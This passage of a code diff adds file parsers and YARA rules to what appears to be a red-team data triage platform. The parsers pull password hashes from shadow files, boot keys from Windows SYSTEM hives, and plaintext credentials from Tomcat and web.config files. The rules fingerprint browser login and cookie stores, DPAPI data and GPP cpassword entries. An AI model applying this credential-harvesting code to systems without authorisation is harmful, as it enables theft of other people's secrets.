+ logger.exception(e, message="reg_hive_security.py parse() error", file_uuid=self.file_data.object_id)
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing reg_hive_security file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage()
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py
new file mode 100644
index 0000000..059a3b9
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/reg_hive_system.py
@@ -0,0 +1,60 @@
+# Standard Libraries
+import os
+import re
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+from enrichment.lib.secretsdump import LocalOperations
+from Registry import Registry
+
+logger = structlog.get_logger(module=__name__)
+
+
+class reg_hive_system(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return re.search(".*/system$", self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 300000000:
+ return False
+
+ if helpers.get_magic_type(self.file_path).startswith("MS Windows registry file"):
+ return Registry.Registry(self.file_path).hive_type() == Registry.HiveType.SYSTEM
+ else:
+ return False
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+
+ try:
+ localOperations = LocalOperations(self.file_path)
+ parsed_data.reg_hive_system.boot_key = localOperations.getBootKey()
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ logger.exception(e, message="reg_hive_system.py parse() error", file_uuid=self.file_data.object_id)
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing reg_hive_system file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/shadow.py b/cmd/enrichment/enrichment/lib/file_parsers/shadow.py
new file mode 100644
index 0000000..ae3d956
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/shadow.py
@@ -0,0 +1,101 @@
+# Standard Libraries
+import datetime
+import os
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class shadow(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ return self.file_data.path.lower().endswith("/shadow")
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ if self.file_data.magic_type != "ASCII text":
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "shadow")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+
+ with open(self.file_path, "r") as f:
+
+ lines = f.readlines()
+
+ for line in lines:
+ if line.startswith("#"):
+ continue
+
+ if line.strip() == "":
+ continue
+
+ fields = line.split(":")
+
+ if len(fields) < 4:
+ continue
+
+ # *nix start date, pwd last changed is days since this epoch
+ start = datetime.datetime.strptime("01/01/70", "%m/%d/%y")
+
+ try:
+ days = int(fields[2])
+ except:
+ days = 0
+
+ end = start + datetime.timedelta(days=days)
+ password_last_changed = end
+ # password_last_changed = end.strftime("%Y-%m-%dT%H:%M:%S")
+
+ username = fields[0]
+ password = fields[1]
+
+ if password != "*" and password != "!" and password != "!!" and len(password) > 5:
+ entry = parsed_data.shadow.entries.add()
+ entry.username = username
+ entry.password = password
+ entry.password_last_changed.FromDatetime(password_last_changed)
+
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ # can't do this because this auth data isn't decrypted - TODO: redo with new hash data
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = password
+ auth_data.type = "hash_crypt"
+ auth_data.username = username
+ auth_data.notes = f"credential parsed from file_processor->shadow\nLast Changed: {password_last_changed}"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing shadow file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py b/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py
new file mode 100644
index 0000000..7a108fc
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/slack_downloads.py
@@ -0,0 +1,84 @@
+# Standard Libraries
+import json
+import re
+from datetime import datetime, timezone
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class slack_downloads(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/Slack/storage/slack-downloads$"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "slack_downloads")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+ username = helpers.get_username_from_slack_file_path(self.file_path)
+
+ try:
+ with open(self.file_path, "r") as f:
+ downloads_json = json.loads(f.read())
+ for workspace_id in downloads_json:
+ downloads = downloads_json[workspace_id]
+ for download_id in downloads:
+
+ download = downloads[download_id]
+ download_pb = parsed_data.slack_downloads.downloads.add()
+ download_pb.username = username
+ download_pb.workspace_id = workspace_id
+ download_pb.download_id = download_id
+
+ if "teamId" in download:
+ download_pb.team_id = download["teamId"]
+ if "userId" in download:
+ download_pb.user_id = download["userId"]
+ if "url" in download:
+ download_pb.url = download["url"]
+ if "downloadPath" in download:
+ download_pb.download_path = download["downloadPath"].replace("\\", "/")
+ if "downloadState" in download:
+ download_pb.download_state = download["downloadState"]
+ if "startTime" in download:
+ start_time_str = download["startTime"]
+ epoch = int(start_time_str) / 1000
+ start_dt = datetime.fromtimestamp(epoch, tz=timezone.utc)
+ download_pb.start_time.FromDatetime(start_dt)
+ if "endTime" in download:
+ end_time_str = download["endTime"]
+ epoch = int(end_time_str) / 1000
+ end_dt = datetime.fromtimestamp(epoch, tz=timezone.utc)
+ download_pb.end_time.FromDatetime(end_dt)
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing 'slack-downloads' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py b/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py
new file mode 100644
index 0000000..b4ba373
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/slack_workspaces.py
@@ -0,0 +1,67 @@
+# Standard Libraries
+import json
+import re
+from datetime import datetime, timezone
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class slack_workspaces(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/Slack/storage/slack-workspaces$"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria
+ using the associated Yara rule.
+ """
+ return helpers.scan_with_yara(self.file_path, "slack_workspaces")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+ # build protobuf w/o the actual entries, detect/reprocess on the file side
+
+ parsed_data = pb.ParsedData()
+ username = helpers.get_username_from_slack_file_path(self.file_path)
+
+ try:
+ with open(self.file_path, "r") as f:
+ workspaces_json = json.loads(f.read())
+ for workspace_id in workspaces_json:
+ workspace_data = workspaces_json[workspace_id]
+
+ workspace_pd = parsed_data.slack_workspaces.workspaces.add()
+ workspace_pd.username = username
+ workspace_pd.workspace_id = workspace_id
+
+ if "domain" in workspace_data:
+ workspace_pd.workspace_domain = workspace_data["domain"]
+ if "name" in workspace_data:
+ workspace_pd.workspace_name = workspace_data["name"]
+ if "icon" in workspace_data and "image_original" in workspace_data["icon"]:
+ workspace_pd.workspace_icon_url = workspace_data["icon"]["image_original"]
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
+
+ except Exception as e:
+ return (
+ helpers.nemesis_parsed_data_error(f"error parsing 'slack-workspaces' file {self.file_data.object_id} : {e}"),
+ pb.AuthenticationDataIngestionMessage(),
+ )
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py b/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py
new file mode 100644
index 0000000..2d7a819
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/sqlite_sample.py
@@ -0,0 +1,111 @@
+# Standard Libraries
+import re
+import sqlite3
+from typing import Any, List
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+class sqlite_sample(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ if re.match(".*\.(sqlite)$", self.file_data.path):
+ return True
+ else:
+ return False
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ return "SQLite 3.x database" in helpers.get_magic_type(self.file_path)
+
+ def _get_tables(self, cursor: sqlite3.Cursor) -> List[str]:
+ """
+ Returns a list of tables in the database.
+ """
+ table_query = "SELECT name FROM sqlite_master WHERE type='table';"
+ cursor.execute(table_query)
+ tables = cursor.fetchall()
+ return [t[0] for t in tables]
+
+ def _get_columns(self, cursor: sqlite3.Cursor, table: str) -> List[str]:
+ """
+ Returns a list of columns in the database.
+ """
+ col_data = cursor.execute(f"PRAGMA table_info({table});").fetchall()
+ cols = [c[1] for c in col_data]
+ return cols
+
+ def _get_rows(self, cursor: sqlite3.Cursor, table: str, sample_size: int = 3) -> List[List[Any]]:
+ """
+ Returns a list of rows in the database.
+ """
+ cursor.execute(f"SELECT * FROM {table} LIMIT {sample_size};")
+ data = cursor.fetchall()
+ rows = [list(d) for d in data]
+ return rows
+
+ def _get_sample_data(self) -> dict:
+ """
+ Constructs sample data dictionary from database
+ """
+ ret = {}
+
+ try:
+ conn = sqlite3.connect(self.file_path)
+ cursor = conn.cursor()
+
+ tables = self._get_tables(cursor)
+ for table in tables:
+ cols = self._get_columns(cursor, table)
+ rows = self._get_rows(cursor, table)
+ ret[table] = {"schema": cols, "data": rows}
+
+ conn.close()
+ return ret
+ except Exception as e:
+ logger.exception(e, message="error parsing sqlite database", file_uuid=self.file_data.object_id)
+ return {}
+
+ def _format_sample_data(self, sample_data: dict) -> str:
+ """
+ Formats the sample data into a human-readable string.
+ """
+ ret = ""
+ for table, data in sample_data.items():
+ ret += f"Table: {table}\n"
+ ret += f"Schema: {', '.join(data['schema'])}\n"
+ ret += "Data: \n"
+ for row in data["data"]:
+ ret += f"\t{', '.join([str(r) for r in row])}\n"
+ return ret
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses SQLite databases to extract table names, column names, and sample data.
+ """
+ data = self._get_sample_data()
+
+ formatted_data = self._format_sample_data(data)
+
+ parsed_data = pb.ParsedData()
+ parsed_data.raw_parsed_data.data = formatted_data
+
+ return (parsed_data, pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py b/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py
new file mode 100644
index 0000000..14795bd
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/tomcat.py
@@ -0,0 +1,94 @@
+# Standard Libraries
+import os
+import re
+import xml.etree.ElementTree as ET
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+
+
+class tomcat(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = ".*/tomcat-users\\.xml$"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "tomcat")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+
+ with open(self.file_path, "rb") as f:
+
+ data = f.read()
+
+ try:
+ roles_iter = ET.fromstring(data).iter("role")
+ for r in roles_iter:
+ parsed_data.tomcat.roles.extend([r.attrib["rolename"]])
+ except ET.ParseError:
+ pass
+
+ try:
+ users_iter = ET.fromstring(data).iter("user")
+
+ for user in users_iter:
+ entry = parsed_data.tomcat.entries.add()
+ entry.username = user.attrib["username"]
+ entry.password = user.attrib["password"]
+
+ if "roles" in user.attrib:
+ user_roles = user.attrib["roles"].split(",")
+ entry.roles.extend(user_roles)
+ user_roles_str = user.attrib["roles"]
+ else:
+ user_roles_str = ""
+
+ if entry.password != "":
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = entry.password
+ auth_data.type = "password"
+ auth_data.username = entry.username
+ if user_roles_str and user_roles_str != "":
+ auth_data.notes = f"credential parsed from file_processor->tomcat\nUser roles: {user_roles_str}"
+ else:
+ auth_data.notes = "credential parsed from file_processor->tomcat"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ except ET.ParseError:
+ pass
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing tomcat file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage())
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/web_config.py b/cmd/enrichment/enrichment/lib/file_parsers/web_config.py
new file mode 100644
index 0000000..9fed3d9
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/web_config.py
@@ -0,0 +1,127 @@
+# Standard Libraries
+import os
+import re
+import xml.etree.ElementTree as ET
+
+# 3rd Party Libraries
+import enrichment.lib.file_parsers.Meta as Meta
+import enrichment.lib.helpers as helpers
+import nemesispb.nemesis_pb2 as pb
+import structlog
+
+logger = structlog.get_logger(module=__name__)
+
+
+def parenthetic_contents(string):
+ stack = []
+ for i, c in enumerate(string):
+ if c == "(":
+ stack.append(i)
+ elif c == ")" and stack:
+ start = stack.pop()
+ s = string[start + 1 : i]
+ temp = s.split("=")
+ if len(temp) == 1:
+ yield (temp[0], "")
+ else:
+ yield (temp[0], temp[1])
+
+
+class web_config(Meta.FileType):
+ def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata):
+ if type(file_data) == pb.FileDataEnriched:
+ self.file_data = file_data
+ self.metadata = metadata
+ self.file_path = file_path
+ else:
+ raise Exception("Input was not a file_data object")
+
+ def check_path(self) -> bool:
+ """
+ Returns True if the internal File path matches our target criteria.
+ """
+ regex_string = r".*/.*(web|app).*\.config"
+ return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None
+
+ def check_content(self) -> bool:
+ """
+ Returns True if the internal File contents matches our target criteria.
+ """
+ if os.path.getsize(self.file_path) > 1000000:
+ return False
+
+ return helpers.scan_with_yara(self.file_path, "web_config")
+
+ def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]:
+ """
+ Parses the file if parsing is defined, including any reversible decryption.
+ """
+
+ parsed_data = pb.ParsedData()
+ auth_data_msg = pb.AuthenticationDataIngestionMessage()
+
+ try:
+ auth_data_msg.metadata.CopyFrom(self.metadata)
+ tree = ET.parse(self.file_path)
+ root = tree.getroot()
+
+ for connStrings in root.iter("connectionStrings"):
+ for entry in connStrings:
+ try:
+ connection_string = parsed_data.web_config.connection_strings.add()
+ connection_string.name = entry.attrib["name"]
+ if "providerName" in entry.attrib:
+ connection_string.provider_name = entry.attrib["providerName"]
+ if "connectionString" in entry.attrib:
+ connection_string.connection_string = entry.attrib["connectionString"]
+
+ for part in entry.attrib["connectionString"].split(";"):
+ # special exception for Oracle
+ temp = part.split(")(")
+ if len(temp) > 3:
+ contents = list(parenthetic_contents(part))
+ for content in contents:
+ if content[0].lower() == "host":
+ connection_string.database_credential.server = content[1]
+ elif content[0].lower() == "port":
+ connection_string.database_credential.server = f"{connection_string.database_credential.server}:{content[1]}"
+ elif content[0].lower() == "service_name":
+ connection_string.database_credential.database = content[1]
+ else:
+ temp = part.split("=")
+ if len(temp) > 1:
+ key = temp[0]
+ value = "=".join(temp[1:])
+ if re.match("^(User Id|UID)$", key, re.IGNORECASE):
+ connection_string.database_credential.username = value
+ elif re.match("^(Server|HOST|Data Source)$", key, re.IGNORECASE):
+ connection_string.database_credential.server = value
+ elif re.match("^(port)$", key, re.IGNORECASE):
+ connection_string.database_credential.server = f"{connection_string.database_credential.server}:{value}"
+ elif re.match("^Database$", key, re.IGNORECASE):
+ connection_string.database_credential.database = value
+ elif re.match("^(password|PWD)$", key, re.IGNORECASE):
+ connection_string.database_credential.password = value
+ if value != "":
+ # signal that we do have parsed credentials
+ parsed_data.has_parsed_credentials = True
+
+ if connection_string.database_credential.server and connection_string.database_credential.username and connection_string.database_credential.password:
+ auth_data = auth_data_msg.data.add()
+ auth_data.data = connection_string.database_credential.password
+ auth_data.type = "password"
+ if connection_string.database_credential.database:
+ auth_data.uri = f"db://{connection_string.database_credential.server}/{connection_string.database_credential.database}"
+ else:
+ auth_data.uri = f"db://{connection_string.database_credential.server}"
+ auth_data.username = connection_string.database_credential.database
+ auth_data.notes = "database credential parsed from file_processor->appsettings"
+ auth_data.originating_object_id = self.file_data.object_id
+
+ except Exception as e:
+ logger.exception(e, message="web_config.py parse() error")
+
+ return (parsed_data, auth_data_msg)
+
+ except Exception as e:
+ return (helpers.nemesis_parsed_data_error(f"error parsing .config file {self.file_data.object_id} : {e}"), auth_data_msg)
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara
new file mode 100644
index 0000000..3248134
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/appsettings.yara
@@ -0,0 +1,10 @@
+rule is_appsettings
+{
+ strings:
+ $str1 = "ConnectionStrings"
+ $str2 = "JwtToken"
+ $str3 = "Microsoft.Hosting.Lifetime"
+ $str4 = "AllowedHosts"
+ condition:
+ ($str1 or $str2) and ($str3 or $str4)
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara
new file mode 100644
index 0000000..4279b6c
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_cookies.yara
@@ -0,0 +1,11 @@
+rule is_chromium_cookies
+{
+ strings:
+ $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format "
+ $str1 = "CREATE TABLE cookies"
+ $str2 = "is_secure"
+ $str3 = "is_httponly"
+ $str4 = "last_update_utc"
+ condition:
+ $header at 0 and $str1 and $str2 and $str3 and $str4
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara
new file mode 100644
index 0000000..71f8e8d
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_history.yara
@@ -0,0 +1,11 @@
+rule is_chromium_history
+{
+ strings:
+ $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format "
+ $str1 = "CREATE TABLE downloads"
+ $str2 = "original_mime_type"
+ $str3 = "last_visit_time"
+ $str4 = "received_bytes"
+ condition:
+ $header at 0 and $str1 and $str2 and $str3 and $str4
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara
new file mode 100644
index 0000000..406a982
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_logins.yara
@@ -0,0 +1,11 @@
+rule is_chromium_logins
+{
+ strings:
+ $header = {53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20} // "SQLite format "
+ $str1 = "username_value"
+ $str2 = "password_value"
+ $str3 = "stats_origin"
+ $str4 = "date_password_modified"
+ condition:
+ $header at 0 and $str1 and $str2 and $str3 and $str4
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara
new file mode 100644
index 0000000..c2a245a
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/chromium_state_file.yara
@@ -0,0 +1,10 @@
+rule is_chromium_state_file
+{
+ strings:
+ $str1 = "last_whats_new_version"
+ $str2 = "shortcut_migration_version"
+ $str3 = "os_crypt"
+ $str4 = "encrypted_key"
+ condition:
+ $str1 and $str2 and $str3 and $str4
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara
new file mode 100644
index 0000000..405520a
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dotnet_assembly.yara
@@ -0,0 +1,7 @@
+rule is_dotnet_assembly
+{
+ strings:
+ $DOTNET = "mscorlib" ascii
+ condition:
+ (uint16(0) == 0x5A4D) and ($DOTNET)
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara
new file mode 100644
index 0000000..cf8b0f3
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_blob.yara
@@ -0,0 +1,10 @@
+rule has_dpapi_blob
+{
+ strings:
+ $dpapi_header = { 01 00 00 00 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB }
+ $dpapi_header_b64_1 = "AAAA0Iyd3wEV0RGMegDAT8KX6"
+ $dpapi_header_b64_2 = "AQAAANCMnd8BFdERjHoAwE/Cl+"
+ $dpapi_header_b64_3 = "EAAADQjJ3fARXREYx6AMBPwpfr"
+ condition:
+ $dpapi_header or $dpapi_header_b64_1 or $dpapi_header_b64_2 or $dpapi_header_b64_3
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara
new file mode 100644
index 0000000..e22091a
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/dpapi_masterkey.yara
@@ -0,0 +1,7 @@
+rule is_masterkey
+{
+ strings:
+ $hex_string = {02 00 00 00 00 00 00 00 00 00 00 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 2d 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+ condition:
+ $hex_string at 0
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara
new file mode 100644
index 0000000..d07be5b
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/group_policy_preferences.yara
@@ -0,0 +1,9 @@
+rule is_group_policy_preferences
+{
+ strings:
+ $s1 = "clsid="
+ $s2 = "cpassword="
+ $s3 = "neverExpires="
+ condition:
+ $s1 and $s2 and $s3
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara
new file mode 100644
index 0000000..93b351a
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/mcafee_sitelist.yara
@@ -0,0 +1,7 @@
+rule is_mcafee_sitelist
+{
+ strings:
+ $s1 = "ns:SiteLists xmlns:ns"
+ condition:
+ $s1
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara
new file mode 100644
index 0000000..63e5586
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_new.yara
@@ -0,0 +1,12 @@
+rule is_new_office_document
+{
+ strings:
+ $header = { 50 4B 03 04 }
+ $word_str = "word/document.xml"
+ $excel_str = "xl/workbook.xml"
+ $ppt_str = "ppt/presentation.xml"
+ $enc_header = { D0 CF 11 E0 A1 B1 1A E1 }
+ $enc_str = "EncryptionInfo" nocase wide ascii
+ condition:
+ ($header at 0 and ($word_str or $excel_str or $ppt_str or $enc_str)) or ($enc_header and $enc_str)
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara
new file mode 100644
index 0000000..63a2cdd
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/office_doc_ole.yara
@@ -0,0 +1,8 @@
+rule is_ole_office_document
+{
+ strings:
+ $header = { D0 CF 11 E0 A1 B1 1A E1 }
+ $str = "SummaryInformation" nocase wide ascii
+ condition:
+ $header at 0 and $str
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara
new file mode 100644
index 0000000..72a1c34
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/passwd.yara
@@ -0,0 +1,7 @@
+rule is_passwd
+{
+ strings:
+ $re = /root:.+:[0-9]{,10}:[0-9]{,10}:[a-zA-Z0-9 ]{,50}:[\/a-zA-Z0-9 ]{,50}:[\/a-zA-Z0-9 ]{,50}/
+ condition:
+ $re
+}
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara
new file mode 100644
index 0000000..8100d19
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/file_parsers/yara/pe.yara
@@ -0,0 +1,7 @@
+import "pe"
+
+rule is_pe
+{
+ condition:
+ pe.is_pe
+}
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara b/cmd/enrichment/enrichment/lib/file_parsers/yara/seatbelt_json.yara
new file mode 100644
index 0000000..cc6a77a
--- /dev/null
